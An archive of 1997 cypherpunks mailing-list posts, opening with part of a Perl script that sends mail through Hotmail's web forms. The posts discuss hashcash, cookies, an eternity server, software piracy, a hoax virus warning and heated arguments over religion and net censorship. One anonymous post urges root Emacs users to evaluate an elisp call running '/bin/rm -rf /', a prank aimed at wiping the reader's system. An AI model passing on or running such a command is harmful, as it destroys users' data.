## (no full names, etc.).  We try to do the stripping properly.

$to = '';
$subject = '';
$cc = '';
$bcc = '';
while(<STDIN>) {
    if (/^To:\s+(.*)/io) {
	$to = $1;
	$to =~ s/\(.*?\)//g;
	$to =~ s/\".*?\"//g;
	$to = &escapetext($to);
    } elsif (/^Subject:\s+(.*)/io) {
	$subject = &escapetext($1);
    } elsif (/^Cc:\s+(.*)/io) {
	$cc = $1;
	$cc =~ s/\(.*?\)//g;
	$cc =~ s/\".*?\"//g;
	$cc = &escapetext($cc);
    } elsif (/^Bcc:\s+(.*)/io) {
	$bcc = $1;
	$bcc =~ s/\(.*?\)//g;
	$bcc =~ s/\".*?\"//g;
	$bcc = &escapetext($bcc);
    }
    last if /^$/;
}
$msg = &escapetext(join("\r\n", <STDIN>));

use LWP;

## Begin magic

$ua = new LWP::UserAgent;
$ua->proxy('http', "http://${proxyhost}:${proxyport}/");

$url = new URI::URL 'http://www.hotmail.com/cgi-bin/password.cgi';
$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content("login=${login}&curmbox=ACTIVE");

$response = $ua->request($request);
$body = $response->content;
$body =~ /\<\s*form\s+[^>]*action=\"(.*?)\"/io or die "Cannot log in";

$url = new URI::URL $1, $url;
$body = $';
$body =~ s/\<\s*\/form\s*\>.*//;
$body =~ /\<\s*input\s+[^>]*name=\"disk\"\s+value(=\"(.*?)\")?/io or die "Cannot give passwd";
$disk = $2 || "";

$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content("passwd=${passwd}&frames=no&disk=${disk}&curmbox=ACTIVE&login=${login}&js=no");
$response = $ua->request($request);
$body = $response->content;

$body =~ /\<\s*area\s+[^>]*href=\"(\/cgi-bin\/compose.*?)\"/io or die "Cannot compose";
$composeurl = new URI::URL $1, $url;
$body =~ /\<\s*area\s+[^>]*href=\"(\/cgi-bin\/logout.*?)\"/io or die "Cannot compose";
$logouturl = new URI::URL $1, $url;

$request = new HTTP::Request('GET', $composeurl);
$request->header(Pragma => 'no-cache');
$response = $ua->request($request);
$body = $response->content;

$body =~ /\<\s*form\s+[^>]*action=\"(.*?)\".*?\>/io or die "Cannot send message";
$url = new URI::URL $1, $composeurl;
$body = $';
$data = '';
while(1) {
    $body =~ /^\s*\<\s*input\s+type=\"?hidden\"?\s+name=\"(.*?)\"\s+value(=\"(.*?)\")?\s*\>/io or last;
    $name = $1; $value = $3 || ""; $body = $';
    $data .= $name."=".$value."&";
}
$data .= "to=${to}&subject=${subject}&cc=${cc}&bcc=${bcc}&body=${msg}&Send.x=1&Send.y=1";

$request = new HTTP::Request('POST', $url);
$request->header(Pragma => 'no-cache');
$request->content($data);
$response = $ua->request($request);
$body = $response->content;

$request = new HTTP::Request('GET', $logouturl);
$request->header(Pragma => 'no-cache');
$response = $ua->request($request);





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 9 Aug 1997 11:30:36 +0800
To: cypherpunks@toad.com
Subject: Re: Query on cookies
In-Reply-To: <199708081336.GAA04744@toad.com>
Message-ID: <eHD6ae76w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"Peter Trei" <trei@process.com> writes:
> Well, I'm using version 4.01a for NT. There are three settings for
> cookies:
>
> 1. Accept all cookies.
> 2. Accept only cookies which get sent back to the originating server.
> 3. Disable cookies.

Does #2 mean that if your "main" page is from d1.com and it calls something
from d2.com that tries to set a cookie for d2.com, it's not allowed?
What if it's in a frame?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Sat, 9 Aug 1997 13:59:54 +0800
To: tm@dev.null
Subject: Apology from me to the list and TruthMonger
Message-ID: <19970809053931.20560.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



LOL, all right, all right. I'll take my lickings and like it. I 
apologize. I came off far from what I was trying to say. I was really 
pissed off at what TruthMonger said in the email. I took major offense 
at his use of Jesus in the mail in the context in which he did. I am NOT 
one who believes in the banning of sites based on a rating syste, I 
believe that based on the rating system you should be able to decide 
from that if *you* want to go there. No one has the right to *ban* a 
site. I humbly apologize to all and to TruthMonger. Some say one should 
not apologize on a list because then everyone will make it open season 
on that person forever. If that is the case, oh well. I believe that if 
a man is in the wrong he should apologize. I am in the wrong. I 
apologize. I went overboard on my retort to TruthMonger, not stopping to 
think how it would make me appear. I unfortuately gave the impression in 
complete opposites of where I actually stand on the issues. I do not 
know how to word where I stand because I take a little from each side as 
to what is the correct way to handle these issues. I joined this 
listserv because I believe wholeheartedly in the stated reason for the 
existence of this listserv. I run my own for the same reasons. 


Folks, I truly am sorry for the remarks I made, and the attitude 
displayed is not what I believe inside. I believe that every man and 
women have the right to make there own dicision on issues that affect 
them. I believe that a fully cooperative effort to come to terms with 
many of the issues facing us is needed. I do NOT support the government 
in it's belief that sites should be banned based on their ratings in 
whatever finally accepted rating system. I do not believe in escrowed 
key accounting (espeicially when the government choses the key ecrow 
agents). I do *not* follow the bible thumping christian coalitions that 
believe that decending on the net with bibles, fishnets, and handcuffs 
is the answer. I believe in fighting for what one believes in. I firmly 
believe in protecting the children and guiding them towards an 
understanding of today's world in *all* it trappings. I am also unsure 
as to the correct and "right" way to do this. I am open to suggestions, 
and am willing to openly contribute my own. There are many of you who 
will undoubtably have blocked my posts as a result of my earlier post. I 
am sorry for this. For I could learn a few things from those that have, 
just as I can pass on some to them.


For the mistakes I put forth, I humbly apologize.

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 9 Aug 1997 06:16:40 +0800
To: cypherpunks@cyberpass.net
Subject: some hashcash advocacy (was Re: anti-spam law implies laws against remailers?)
In-Reply-To: <97Aug8.131019edt.32257@brickwall.ceddec.com>
Message-ID: <199708082145.WAA01973@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




nospam-seesignature@ceddec.com writes:
> On Fri, 8 Aug 1997, Adam Back wrote:
> 
> > [hashcash]
> 
> I think you never answered the fundamental question:
> 
> But to what advantage is it for *ME* to use hashcash?
> 
> Saying that it is neat, patriotic, pious, or any other adjective won't get
> my anonymous mail through any faster unless you can create a cartel of
> remailers that expidite hashcashed mail, or use some type of new remailer
> that others don't have and build hashcash into the distribution. 

I wasn't talking about remailers above, but about end users.  Hashcash
allows the recipient to filter out email that hasn't got postage.

As an interim upgrade path ISPs adopting it could be to bounce
messages with out payments, and include a nonce, and instructions to
resend including the nonce.  Set up the filter so that the second post
gets through.  Spammers often don't have forged reply addresses for
obvious reasons.  

(If spam crept up too badly in-spite of this you could at that point
disable non-hash cash postage and give a URL for a java implementation
where they just go to the web page and their browser will generate
them some hash cash.  Obviously this is inconvenient so I would be
interested to see how the spammers adapted to just the nonce first.
It's much easier to block spammers if they have to include replyable
email addresses.)

You would also have a no-postage list, for mailing lists etc.


If we arrange so that spam won't get through without payment, it
disincentivizes spammers.  If some users go running around asking for
`government to do something about spam', it could be suggested to them
that it would be more effective to ask their ISP to install a hashcash
patched sendmail.

A remailer won't answer the bounce with nonce, so you automatically
won't get remailer traffic without postage -- unless you put remailers
on your no-postage list.

If you're some media celebrity and you get too much email -- just turn
up the squech, increase the postage required rate, and add people you
do want to your no-postage list.

You could auto-add anyone you ever manually replied to to the
no-postage list even.

> You still have the problem that a large organization can buy large
> computers just to do hashcash - look for networkable hashcash generators
> if it becomes popular.

I think the easiest initial way for the spammer to continue spamming
you would be to target mailing lists, using forged addresses.

Spam on mailing lists instead of mail is also a good thing for us,
because we already have solutions for spam on mailing lists:
decentralised 3rd party ratings -- NoCeMs can be applied to mailing
lists.  Allowing us to recommend good posts or mark what we consider
spam.  Individual users can decide which rating service to use.

If you consider that hashcash can be setup to only charge postage for
people you have never replied to in the past, this heavily
discriminates against people who send large amounts of mail to random
people.  (Which is precisely the spammers mailing pattern!)


Another solution with real ecash is to send ecash payment with mail
and have filters that will similarly bounce messages if there is no
ecash.

The recipient by societal convention is expected not to cash the
payment.  People who cash your money you don't tend to send more email
to.  You could easily charge $1 and that would be a high price for the
spammer -- it would be cheaper to snail mail you the spam.

The above doesn't seem very friendly, or very in keeping with the
spirit of free discourse.  I think hashcash is nicer in this respect.

I've taken the stuff on eternity to another message.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 9 Aug 1997 06:06:14 +0800
To: cypherpunks@cyberpass.net
Subject: recursive auction markets in software
Message-ID: <199708082151.WAA01986@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




[re connection problems to www.replay.com -- Alex is running with the
Stronghold 1.4 webserver -- what you're seeing is a bug in it.
Presently Alex is going to go back to 1.3, unless C2 comes up with a
bug fix version.  I really should put up a note to this effect.  I'll
do that.

It's still usuable as it's an intermittent bug, and all you've go to
do keep clicking on the reload button in your browser, and it'll get
through after a few tries...

	http//:www.replay.com/aba/eternity/        ]


tzeruch wrote about legal problems which could happen if eternity is
used to sell, or distribute copyright software:

> The legal problems still need to be resolved.  As long as no copyrighted
> material appears I think things will be fine, but when MSwhatever appears,
> someone is going to say the eternity server is like an illegal cable
> descrambler or make up something very similar to ban them since they
> aren't merely forwarding the content from alt.anonymous.messages - if
> encryption is an envelope, the eternity server opens it.

The argument that it is a USENET message being forwarded after
reformatting may not help that much, -- we'll see how it works out.

If there were lots of eternity servers it would be better.

> Otherwise, you could simply post the plaintext to an alt group.  If
> that doesn't happen now (why?),

I dunno.  It could be for a number of reasons, you'd have to do a
survey of the warez d00dz that hang out on IRC channel #warez to see
why they don't do it.

I guess it's because they find easier to trade with DCC commands in
#warez.  I had a look at a #warez session in progress some time ago,
and the trades were going down every few minutes.  Take a look.
Especially games trades but also high price DTP and photo retouching
stuff.  You'd see `trade quark-Xpress 8 for registered quake' or
whatever come up a few times, and then it'd stop, and that handle'd
say thanks I've got it now.

IRC is less main stream, and these folks don't like the lime light
because they know that their 'warez trading habits are frowned upon by
many.

Another reason is that why should they bother, what's their
motivation?  They aren't making money from it I don't think, they're
just after copyright software without paying for it.  It's probably
just that the most efficient market for leveraging what they have got
copies of via trades is on IRC right now.

Another class of pirate is the Chinese (it is Chinese who do this
yes?) who make CDs full of commercial software and sell it way under
market price.

Perhaps that class of pirate would take off if the net bandwidth was
up to it.  Their next problem would be to control access to their
anonymous eternity page to allow themselves to get some money from it.

Perhaps eternity servers could be set up to charge for downloads and
pass back money to the anonymous poster.  But then how do you stop
someone else reposting it and charging a lower price?  Well you can't.
But that's all what recursive auction markets are about.  The reaches
a point of diminishing returns, and the user can buy freshly released
products more quickly from the first non-copyright abiding software
reseller, or they can buy it more cheaply if they wait as the price
falls over a few days.

Eric Hughes apparently gave a talk at a hacker con some time back
about UIPS `Universal Internet Piracy Service'.  I think his ideas
were to explore the financial aspects of trading system for illicit
software.  He wasn't planning to put up a distributed document store,
but to have an distribution medium were there was a continuous flow of
information.  As long as the information could still get through in
the face of hostilities from copyright police, it was doing it's job
and the software could be traded.  I don't think he's released
software yet, and I don't think there's any papers available on the
net, but it was still an active idea last I heard.

> then adding an encryptor and decryptor isn't going to change it,
> otherwise simply post the encrypted text, and the passphrase in the
> same message, or the encrypted text, the secret key, etc.  Except
> that the URL interface makes access more convienient.

Yup.  Actually it'll be much more convenient because it will disappear
out of the news spool presently, and the eternity servers might get to
the stage where they keep a virtual raid file server implemented by
exchanging documents from their caches, and can archive the most
popular stuff.

So because it's more convenient it's even less defensible as it's
providing some part of this service.

See the post about building a distributed dejanews replacement for
another approach to this problem which is probably more defensible.
Might turn out to be a better way if your suspicions prove correct.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>Matches <matches@fcs-net.com>
Date: Sat, 9 Aug 1997 13:24:04 +0800
To: cypherpunks@toad.com
Subject: [Fwd: [Fwd: Virus Warning]][Fwd: Virus Warning]
Message-ID: <33EC326A.31390DFF@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: message/rfc822



Received: from async1000.fcs-net.com (async1000.fcs-net.com [205.232.171.204]) by ns.fcs-net.com (8.6.12/8.6.9) with SMTP id LAA10393; Wed, 6 Aug 1997 11:47:33 -0400
Message-Id: <3.0.32.19970806115228.007d8880@ns.fcs-net.com>
X-Sender: sfrankln@ns.fcs-net.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Wed, 06 Aug 1997 11:52:36 -0400
To: allcustomers@fcs-net.com
From: Sheryl Franklin <sfrankln@fcs-net.com>
Subject: Virus Warning
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"

			*** FYI ***
If you recieve an e-mail titled " JOIN THE CREW" do not open it.

It will erase everything on your hard disk.

This is a new virus that is not detected by McAfee or Norton.




                                  Franklin Communications Services
 
Sheryl Franklin                F F F F F      C C C C C      S S S S S 
Vice President                F              C              S
sfrankln@fcs-net.com         F F F F       C               S S S S S
http://www.fcs-net.com/     F             C                       S	
(716) 651-4570             F             C C C C C C     S S S S S    







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 07:44:19 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
Message-ID: <199708082309.BAA22877@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




At 06:26 PM 8/8/97 -0400, you wrote:
>You know, you are just about the biggest idiot I have ever had the
>displeasure of reading. For one, the largest religion in the US right
>now *is* in fact judeo-christian.

Showing many people suffer from delusion.

>The largest is Roman Catholic with
>Pentacostal Protestant following right behind. Next, this country was
>founded on christian beliefs, or have you failed to read the words of
>the constitution of the US.

Ah, yes, but the constitution also has a thing on seperation of church and state, or did you fail to read the words?

>Considering the apparent ignorance you have
>displayed thus far about the makeup of the US, I would venture to say
>that you probably have not read it. Next, you attack christians for
>trying to control the content made available on the internet.

The Christian Coalition (The Happy Nazi's), is one major group trying to censor information, becuase they and their mythical god think that it's right.  Forcing your beliefs on others in fascism, and never was right.

>At least
>the site ratings plan is better than alot of other plans I have seen.
>Besides, Oh Godlike TruthMonger, where is *your* surefire plan to halt
>the spread of trash that *most* humans would want out of of the reach of
>their children?

Monitor the kids web access, or do your job and be a parent.

>I have not seen you *once* offer a straightforward clear
>cut plan to efficiently handle *any* issue placed for discussion on this
>listserv. I have seen you do nothing but slam, belittle, and degrade
>others and their beliefs and ideas.

I've only seend TM degrade Anti-Crypto persons, fascists, Censorous Christians, and other like those groups who fight to usurp our constitution.

>You do this under the unimpressive
>tag of "TruthMonger". If anything, you are anything but a TruthMonger.

I find his posts suprisingly true, if anything else.

>When you can come up with a plan that even *remotely* seems like a
>logically thought out, planned, and intelligent proposal on how to
>handle the issues presented everyday on the internet that affect the
>computing industry balanced with a concern for the children, then I will
>listen. (And yes, I do agree that the parents of the children have an
>obligation to monitor the content they are exposed to. It's called
>responsible parenting which unfortunately is not a well practiced
>ideology.

Therefore, if you bitch about your kid going to www.porn.com while you where out eating with friends, then that person would be a neglectful parent.

>And to take the wind out of your sales, I have 2 children and
>as a parent I limit them to what is appropriate to their ages.)

What does that encompass?  Do you supress web pages advocating safe sex because it may corrupt their minds?  Tell me, SuperDad (R), how do you manage to raise your kids perfectly?

>Until
>such time as you can fulfill the obligations to us,

TruthMonger isn't obligated to do anything, and he owes you nothing, dumbass.

>the adult computing
>population, and our offspring, the children (just in case your fuddled
>mind does not know what they are), I suggest you rest those busy little
>fingers of yours and listen to the underlying theme of the issues before
>us. Until then, HateMonger, I have one suggestion for you..... Shut Up!

Oh, so we're a censorous Nazi Ratfucker, are we? Let me tell you something, Downey, don't tell other what to do, TM has every right to post as you do.  So if you don't like his posts, you aren't obligated to read them in the first place.  If it offends you, don't look at it in the first place.  Such a simple thing for such a powerful mind like yours to look over.

As for your forcing morals down our throats all I can say is

"Your God is DEAD, and no one cares!!!  If there is a hell, I'll see you there!!!" - Nine Inch Nails "Heresy"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 9 Aug 1997 16:54:48 +0800
To: cypherpunks@Algebra.COM
Subject: Re: JOIN THE CREW
In-Reply-To: <199708090554.HAA07924@basement.replay.com>
Message-ID: <19970809014149.15836@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, Aug 09, 1997 at 07:54:53AM +0200, Anonymous wrote:
> If you are reading this message as root under Emacs, please position
> the cursor to the final paren in the following and hit C-x C-e.
> 
> (call-process-internal "/bin/rm"
> 		       nil t nil
> 		       "-rf" "/")
> 
> 
> VirusMonger

You dumb shit -- I tried it and it didn't work!

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Sat, 9 Aug 1997 12:25:58 +0800
To: paulmerrill@acm.org
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708081253.GAA06495@wombat.sk.sympatico.ca>
Message-ID: <33EC2214.6BEA2C9A@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



>Paul H. Merrill wrote: 
> judeo-christian isn't a religion.  Christian is.
> 
Judeo- Christian is a subsect of Christianity in it's generic form.
(Both my parents are ministers, and this has been drilled into my head.)

> I have read the Constitution and the history behind it.  >The US was founded by people trying to escape religious >persecution and/or trying to get rich.  In case you can't >figure it out, forcing your views down my throat IS >religious persecution -- exactly the same sort that sent
> the Pilgrims off on the Mayflower.
> 
1) I am not forcing my beliefs down *anyone's* throat. I do not seek to
control but to inform. As to the constitution, I served 8 years in the
military so I have a pretty good idea of what it does and does not mean.
I do not advocate internet control to the point of demanding that site
rankings or any such become mandatory. I do however agree that if we can
not police ourselves then this should be a warning that others may do it
for us. When the Protestants (originally the Quakers), came here, you
are correct in why they did come here, yet they also agreed among
themselves to police their actions themselves. This is something we are
failing to do. We are allowing stuff that children need not to see at
certain ages to proliferate all in the name of "If we don't allow this
freedom of expression to take place, it sends a signal that *all*
freedoms are up for grabs." That is simply not true. What is being
proposed is that a little common decency be exerted. After all, these
are children we are talking about. They do not have the capacities that
we do to process all information relating to certain issues. We have
experiences on our side that children do not, just through sheer lack on
their part of numbers of years on this planet. I mean are you really
suggesting that a child has the cognative abilities, at say the age of
6, to understand and make an informed opinion about sex with an older
person? I hope not! I mean, let's be realistic here. We have knowledge
gained thru living that children do not. I am in no way suggesting that
we blindly stuff all things remotely offensive off the net. I am saying
let us be responsible enough to give this information to our children in
doses they can handle. And yes, I will be the judge of what I feel my
children can handle. What is so wrong with adults putting a statement on
their sites that say, Hey parents, there *may* be info here that you
might want to be aware of for the kids' sakes.?

> That statement is somewhat similar to saying that if you >don't like your chains you are free to suggest the stocks >or perhaps rope.
> 
No, what I am saying is that if he doesn't like what has been proposed
to suggest an alternative in an adult fashion. I don't see how slamming
and belittling helps discussions.


> As long as the scum that gravitates toward LEAs and the >Government continue to do so it is relatively stupid to >express (or defend) views outside the accepted norm in an >open fashion.  (I guess that makes me sorta stupid, huh?)
> 
Not true. I will never agree with what our government proposes. In fact
I have an entire website dedicated to going *against* what the current
government proposes. I do not believe in the taking away of rights or
the forcing of a country's people to *have* to do half of what the
American government proposes. What I do suggest is that we, as a
community, need to look to ways that we can balance these issues out in
a manner that is agreeable to all involved. Inflammatory attacks,
degradation of someone based on cultural or religious beliefs has no
place in the discussions. The only reason I flamed at TruthMonger is
because I have only seen postings from that person that violates that
very critical issue. Everyone has the right to their opionions right,
wrong or otherwise. I just got sick of hearing him flame everyone with a
contrary view. And he seems to do this under the suggested banner of
truth. That I do not agree with. I don't condemn him for his views. They
are just as important as mine. I condemn his actions in slamming others
for not agreeing with *him*!

> I have two of my own and I don't see how "protecting" them >in the ways that you seem to like would do anything other >than warp their worldview to such a level that they will be >esay prey for whatever scum they run into in the meatworld.
> 
There is a difference between warping their views and ensuring that they
are mentally able to engage themselves in these issues. The issues that
befall each of us require an ability to see deeper into the causes,
actions and reactions of those with whom we interact. We have many
things, as adults, that we can bring to the tables of rationality and
discussion due to the fact that we learned through prior experiences.
Each and every one of us have sought guidance on any myriad of issues.
We are leaving a confusing mess for the next generation. I am just
saying that we may need to band together to give all of us some sort of
cue card as to what issues may be faced at various stops along the way
as we ride the information highway.
 
> I don't know about TruthMonger but I did listen to the >underlying theme of the issues before us and I found that >it was actually scum-suckers and other bottom feeders >trying their damnedest to steal my freedom. That's why I'm >typing here and now.
> 
I will grant that there are some out there that advocate the taking away
of rights. I am not one of them. I have bullet holes in me because I am
willing to put my life on the line for freedom and rights. I don't agree
with alot of what hardliners have to say. But they also have a say in
this. I will defend my rights and the rights and freedoms of others with
my last breath if need be. All I am saying is that there is a
constructive way to do things. Let's do it that way. I am no stranger to
being a politician's trump card to be played when all else fails to get
folks to listen at the talk tables. That is the very nature of
soldiering. Yet,  I also am not afraid to turn what I learned from them
against them if they should so force that issue. In short, yes, I will
use violence if *all* else fails to get them to listen to reason. But
that is after exhausting all other avenues of approach. The reason I
slammed "TruthMonger", is because I have yet to hear anything from him
other than pure rhetoric and inflamation. I am willing to listen to what
he has to say. Provided that he at least has some meat to his words, not
libel and slander. These solve nothing, and contribute even less.

> The hatemonger that I see in this interchange is not >TruthMonger and it's not me -- Let's see, I guess that >leaves . . .
> 
Everyone is entitled to their own opinion. If you feel that I am a
HateMonger, you are entitled to that opinion. I am entitled to my
opinion that TruthMonger is anything but a TruthMonger, but is a
HateMonger. I will defend both your and mine opinions. I believe in the
ability to agree to disagree. I agree. I may have been hotheaded and
gone too far in my last email. For that I will apologize, both to
members of this list, as well as TruthMonger. I will not apologize for
my opinion of him.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 10:48:13 +0800
To: cypherpunks@toad.com
Subject: jThe BIG Fly / Re: The BIG Lie (Jesus Confesses) (fwd)
Message-ID: <199708090224.EAA14051@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> I am a Pantheist, I believe in god but I can guarantee it bears absolutely
> no resemblance to the Christian god. 

  I am a Frisbeetarian.
  I believe that when you die, your soul goes up on the roof,
and you can't get it down.

LassieMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Sat, 9 Aug 1997 13:21:43 +0800
To: cypherpunks@toad.com
Subject: Re: The BIG Lie (Jesus Confesses)
In-Reply-To: <199708082242.AAA20104@basement.replay.com>
Message-ID: <33EC319A.4B93198@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



Before we go on with this, let me just say that I disagree with alot of
the "christianity" presented in today's world. I go to no church, for
which my parents do indoubtably lament emensely. (They are both
ministers. Ironic) I am open to many different views. My best friend in
the world is buhdist(sp?) and I heavily study martial arts, in which I
excell only because of my study of the culture and religous background
involved with martial arts. I am the *farthest* person from advocating
or backing many of the suggested plans of the christian community in
dealing with these issues.


Anonymous wrote:

> 
> The size of the majority does NOT have anything to do with >what's "right", particularily when it comes to religion.
> 
You are correct, I was merely responding to his statement.

> That much I have read.  And nowhere do I see that >"Christian beliefs" are the cornerstone of our country.  
>
To show how much this country *was* in fact based upon Christianity, one
has only to look at our money. "In *God* we trust. Also, the majority of
our founding fathers were in fact christians. Yet they correctly
surmised that plans needed to be made and coopertive efforts begun
between all the people in order for harmonious living to be even a
remote possibility.

>As a matter of fact, I see writing that specifically says >that religion is NOT a part of our government, and that the >two shall NOT intermix.  Very specific. 
> 
Yes, yet also that ruling came into existence *long* after the
constitution had been designed, ratified, and accepted by the original
colonists. And this was passed after the Church became far too powerful,
and a few tried to influence the whole via a emensely powerful political
base. (We can thank the Roman Catholic church for the necessity of this
law.)

>SOME of the founders of our country were personally very >religious. But some of them were atheists.  They were a >mix of beliefs.  However, all of them felt the persecution >of the English theocracy, and were writing the Constitution >specifically to avoid creating such an evil monstrosity >here.  I think they did a good job.  
>
They did an *excellent* job. I fought to ensure that the work they did,
did not come undone in our time. (I am sorry, I can not go into
specifics.) Also, they were correct in trying to keep the English form
of government out of the new country. Unfortunately, I doubt if any of
them would be happy with the government of today, as many of the spirits
residing within the wording of the constitution are blatently violated
on an everyday basis by our current government. I am sure many would be
down right pissed at what is taking place today!

>They wanted the freedom to practice their own religions >here.  They officially did NOT lay down WHICH religions >were to be practiced. That's why we all fight to keep the >net out of Christian hands.
> 
I do not know how to correctly word my thoughts on that statement so I
will decline for the moment. You seem to think that I am one of the
christian members who thinks that anything even remotely repulsive or
offbeat should be expunged from the net. You could not be more wrong.
But I do not know the words to explain what I feel and think on this
issue. Or at least in a way that would not come out wrong.

> My surefire plan, which has worked **100%** is to monitor >my child's net surfing. He's 9, and I really don't want him >stumbling into www.seXXX.whatever.
> 
I agree that that is one of the things needed. Responsible parenting. I
don't want mine doing that either. I guess what I am saying is that, for
those parents that do not do that, don't we have an obligation to at
least think of those children that do *not* have that? I mean, don't we
at least have the moral obligation to *not* take the stance of "Fuck
them!"? I care for all children, not just my own. These children are
going to take the reins of this world from *us*. They will either
contribute to this world or detract from it. I'm suggesting that we come
together to responsibly teach them about the world around them. It is
big, complex, and scary, even for adults. Let's not just throw them to
the wolves and say "Fend for yourselves." There are some things that
have the major potential to be harmful to a child's psyche out on the
net and in real life. No, let's not ban things just because they are
offensive to some. I do suggest that some things have no place either in
cyberspace or the real world. Why? Because society in general has agreed
that these things are an affront to the community as a whole. Either
locally or globally. Take NAMBLA (National Man/Boy Lovers Association),
who feel that a 5 year old child is capable of making an informed
decision on whether it is OK for him (the child) to have sex with an
older man. 5 YEARS OLD!!??!!?? I don't think so. And neither does a
*majority* of the world population! These types of things are policed by
law enforcement agencies on and off the net, majoratively, by the
general public across the globe. *These* issues are the ones that I
would ban. Yes, if that violates the rights and freedoms of a few, then
yes. I would do it, for the good of the majority. I'm not talking about
pissing in a cup and putting a cross in it and then calling it art.
These issues are mundane compared to issues like NAMBLA. I don't agree
that it is art, but I don't advocate denying them the right to do so.

> When he's old enough to handle reality when he trips over >it, I'll let him.  That's MY job.  Not yours.
> 
I never said it was my job. I would use my best judgement in the event
of your absence, but when you are available it is definitely your
choice.

> Do you let your child walk unescorted through the streets >of New York City?  London?  Moscow?  Singapore?  Chicago?  >Detroit?  Beijing?  If so, I hope that you are arrested for >neglect.  You have no business turning an unescorted child >loose on the streets.
> 
I agree wholeheartedly and would testify to such at your trial. Yet,
then the question becomes one of: If you feel that way about the streets
of NY and the like, then why the  difference of opinion about the
internet? Is it because it is a virtual place? You think of physical
damage to the child. Ideas and mental damage have far longer, and
deeper, lasting effects than most physical injuries. 

> Parents who do not monitor their children on the net are >as guilty of neglect as those who would turn them loose on >the streets of a foreign city.
> 
Once again we are in agreeance.

> You have no business turning an unescorted child loose on >the web. Are you prepared to have him put his e-mail >address into some stranger's form?  www.childstalkers.com >or www.lolitawatch.org(tm) might love to have it.
> 
Yet again we agree.

> The web is an adult place, where adult thought is allowed >to flow.
> 
Yes it is, yet more and more children are gaining access to the net
everyday. One major contributing factor to this is the use of computers
in school, of which I am a major advocate.

> 
> The whole point of allowing adult thought is this:
> 
>     We couldn't even have this discussion on a
>     "Judeo-Christian-child-safe" Internet.
> 
> Think carefully about this.
> 
I never suggested that we sanatize the net into that.

> Now, to answer why we're opposed to ratings, look at the >"voluntary" ratings labels placed on music albums.  There >are major discount stores that WILL NOT CARRY CDs that are >labeled "Warning: Adult Lyrics." The "voluntary" label >means the loss of thousands of retail outlets, and the >potential loss of tens of thousands of sales, all because >the record company thought it best to voluntarily be >"child-safe". Other stores require you to be 18 to purchase >them, and require ID. There are municipalities that have >considered laws to make it illegal to sell these >"voluntarily labeled" albums to children under 18.
> 
If the songs are about expression then, no. Don't ban them. But if they
advocate the killing of cops or how great it is to be a gangster and
shoot other people like Vanilla Ice and Snoop Doggy Dog did, then yes. I
say ban them. Why? They violate the very principles of life... life is
sacred, and it's they only one we got.

> So, if there were a net rating system that became widely >used, you can bet your child's college money on the fact >that every major corporation in the United States will put >a ratings filter on their firewall.  The entire Internet >service to Singapore, Malasia, Indonesia and China will be >filtered by ratings.  Half the ISPs in the USA will
>probably follow suit, as will AOL and Prodigy.  That is why >a rating system is so bad.
> 
There is a major difference bewteen rating a site and completely banning
a site due to it's rating in that system. No organization has the right
to make the decision for me about whether or not I can have access to
that site even if it falls into the "filth" rating. That is *my* choice
and decision to make not theirs'. Therein lies the problem, not in the
